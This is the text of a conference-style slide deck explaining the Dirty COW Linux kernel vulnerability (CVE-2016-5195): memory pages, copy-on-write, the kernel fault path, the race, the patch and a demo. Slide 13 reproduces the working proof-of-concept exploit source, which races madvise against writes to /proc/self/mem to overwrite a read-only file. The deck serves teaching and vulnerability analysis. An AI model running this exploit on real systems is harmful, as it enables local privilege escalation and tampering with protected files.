36
dirtyc0w (CVE-2016- 5195) Gili Yankovitch - Nyx Software Security Solutions

dirtyc0w - CVE-2016-5195

Embed Size (px)

Citation preview

Page 1: dirtyc0w - CVE-2016-5195

dirtyc0w(CVE-2016-5195)Gili Yankovitch - Nyx Software Security Solutions

Page 2: dirtyc0w - CVE-2016-5195

こんにちは (Hello!)

I am Gili

◎ Security Researcher◎ Kernel + Embedded

Developer◎ CEO of Nyx Software Security

Solutions

You can find me at:[email protected]

Page 3: dirtyc0w - CVE-2016-5195

What are we going to talk about today?

◎Memory Management Model◎The COW Concept

○And implementation◎dirtyc0w - The vulnerability◎Patch◎Demo!

◎… Then you get to go home.

Page 4: dirtyc0w - CVE-2016-5195

“A page, memory page, or virtual page is a fixed-

length contiguous block of virtual memory, described by a single entry in the page table. It is the smallest unit of data for memory management in a

virtual memory operating system.Similarly, a page frame is the smallest fixed-length

contiguous block of physical memory into which memory pages are mapped by the operating system.

-Wikipedia

Page 5: dirtyc0w - CVE-2016-5195

VM Pages in a jiffy...

Wikimedia

Page 6: dirtyc0w - CVE-2016-5195

COW

So what is a COW?… apart from livestock...

Page 7: dirtyc0w - CVE-2016-5195

COW - Copy On Write

◎ Imagine we have a file we want to map to a process

libfile.so

Process #0RAM

Physical Memory

Process #1

Virtual M

emory

Hello, world! Hello, world! Hello, world! Hello, world!

Hello, world! Hello, world!

Hello, world! Hello, world! Hello, world!

HDD

This is calledmmap(MAP_SHARED);Used for shared memory or memory mapped files.

© All Rights Reserved

Page 8: dirtyc0w - CVE-2016-5195

COW - Copy On Write

◎ But now, we just want to share the mapped data...

Process #0RAM

Physical Memory

Process #1

Virtual M

emory

Hello, world! Hello, world! Hello, world! Hello, world!

Hello, world! Hello, world!

Hello, world! Hello, world! Hello, world!

HDD

This happens on mmap(MAP_PRIVATE) on a file. It is called Copy on Write

Goodbye!

Hello, world! Hello, world! Hello, world!

Goodbye!

Notice that the data is not flushed back to disk!

libfile.so

© All Rights Reserved

Page 9: dirtyc0w - CVE-2016-5195

Copy On Write in Kernel

◎ Begins in memory.c on fault

◎ Which calls handle_pte_fault

Page 10: dirtyc0w - CVE-2016-5195

Copy On Write in Kernel

◎ Continues for private mappings

◎ The do_cow_fault implementation:

Non-present page, do_cow_fault()http://lxr.free-electrons.com/source/mm/memory.c?v=3.18#L2922

Present page, do_wp_page()

http://lxr.free-electrons.com/source/mm/memory.c?v=3.18#L2188

Page 11: dirtyc0w - CVE-2016-5195

Dirty Pages

Process #0RAM

Hello, world! Hello, world! Hello, world!

Hello, world! Hello, world! Hello, world!

Goodbye!

Goodbye!

◎ We somehow need to track write to pages○ Flush to file○Write to swap○Update cache○...

© All Rights Reserved

Page 12: dirtyc0w - CVE-2016-5195

The dirtyc0w vulnerability

◎ CVE-2016-5195○ Disclosed in 19/10/2016

◉Pretty recent◉A lot of servers are currently still vulnerable.

◎ Existed in the Kernel for 9 years (!)◎ A local Privilege Escalation Vulnerability◎ They also registered a cool domain

○ https://dirtycow.ninja/

Page 13: dirtyc0w - CVE-2016-5195

Exploit Codevoid *map;int f;struct stat st;char *name;int main(int argc,char *argv[]){ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1,pth2; f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map);

pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c);} void *procselfmemThread(void *arg){ char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c);}

Page 14: dirtyc0w - CVE-2016-5195

madvise (2)madvise - give advice about use of memoryint madvise(void *addr, size_t length, int advice);…MADV_DONTNEED Do not expect access in the near future. (For the time being, the application is finished with the given range, so the kernel can free resources associated with it.)

...

Process #0RAM

Hello, world! Hello, world! Hello, world!

Hello, world! Hello, world! Hello, world!

madvise()madvise()

Goodbye!

Goodbye!

© All Rights Reserved

Page 15: dirtyc0w - CVE-2016-5195

Let’s walk the write(/proc/self/mem)/fs/proc/base.c

...

/mm/memory.c

...

...

...

Process #0

Page 17: dirtyc0w - CVE-2016-5195

Iterate until you drop

/mm/gup.c

...Process #0

Page 18: dirtyc0w - CVE-2016-5195

Try fetching the pages to write on...

/mm/memory.c

...

...

Process #0

?

Page 19: dirtyc0w - CVE-2016-5195

Darn! Let’s try to fix the situation (First time!)

/mm/gup.c

...Process #0

Page 20: dirtyc0w - CVE-2016-5195

Handle fault accordingly...

/mm/gup.c

Process #0

Page 21: dirtyc0w - CVE-2016-5195

Do a COW! (moooo…)

Process #0

...

do_cow_fault()http://lxr.free-electrons.com/source/mm/memory.c?v=3.18#L2922

Copy!PTE_FILE

Page not backed in file!

Page 22: dirtyc0w - CVE-2016-5195

Okok, now we’re fixed. Let’s try again!

/mm/gup.c

...Process #0

Copy!PTE_FILE

Page 23: dirtyc0w - CVE-2016-5195

Darn! Another failure...

/mm/memory.c

...

Process #0

Copy!PTE_FILE

Page 24: dirtyc0w - CVE-2016-5195

Let’s try to fix it AGAIN (Second run!)

/mm/gup.c

...Process #0

Copy!PTE_FILE

Page 25: dirtyc0w - CVE-2016-5195

Mark it like you mean it

/mm/gup.c

Process #0

Copy!PTE_FILE

...

...

Indicates we finished the COW process

Page 26: dirtyc0w - CVE-2016-5195

Returning to faultin_page()...

/mm/gup.c

Process #0

Copy!PTE_FILE

Page 27: dirtyc0w - CVE-2016-5195

OK! Now (for the THIRD time) follow_page_mask will work!

/mm/gup.c

...Process #0

Copy!PTE_FILE

Page 28: dirtyc0w - CVE-2016-5195

OK. So everything’s fine.Where EXACTLY is the vulnerability?

? ??

Page 29: dirtyc0w - CVE-2016-5195

Let’s back up for a bit...

/mm/gup.c

...Process #0

Copy!PTE_FILE

madvise()

Page 30: dirtyc0w - CVE-2016-5195

Going back to !pte_present(pte)

/mm/memory.c

...

...

Process #0

?

Page 31: dirtyc0w - CVE-2016-5195

Now it’s a… read???!!

Process #0

...

Remember this from before?????

Now map the REAL page for READ (??!?!?!)

REALPTE_FILE

Page 32: dirtyc0w - CVE-2016-5195

OK! Now we found the right page (????)

/mm/gup.c

...Process #0

REALPTE_FILE

Page 33: dirtyc0w - CVE-2016-5195

Return of the write()/fs/proc/base.c

...

/mm/memory.c

...

...

...

Process #0

REALPTE_FILE

Page 34: dirtyc0w - CVE-2016-5195

The patch

Indicates our special case

Indicates COW finished

If race occurs, pte won’t be dirty.

Page 35: dirtyc0w - CVE-2016-5195

Yay! Demo!

Page 36: dirtyc0w - CVE-2016-5195

Question Time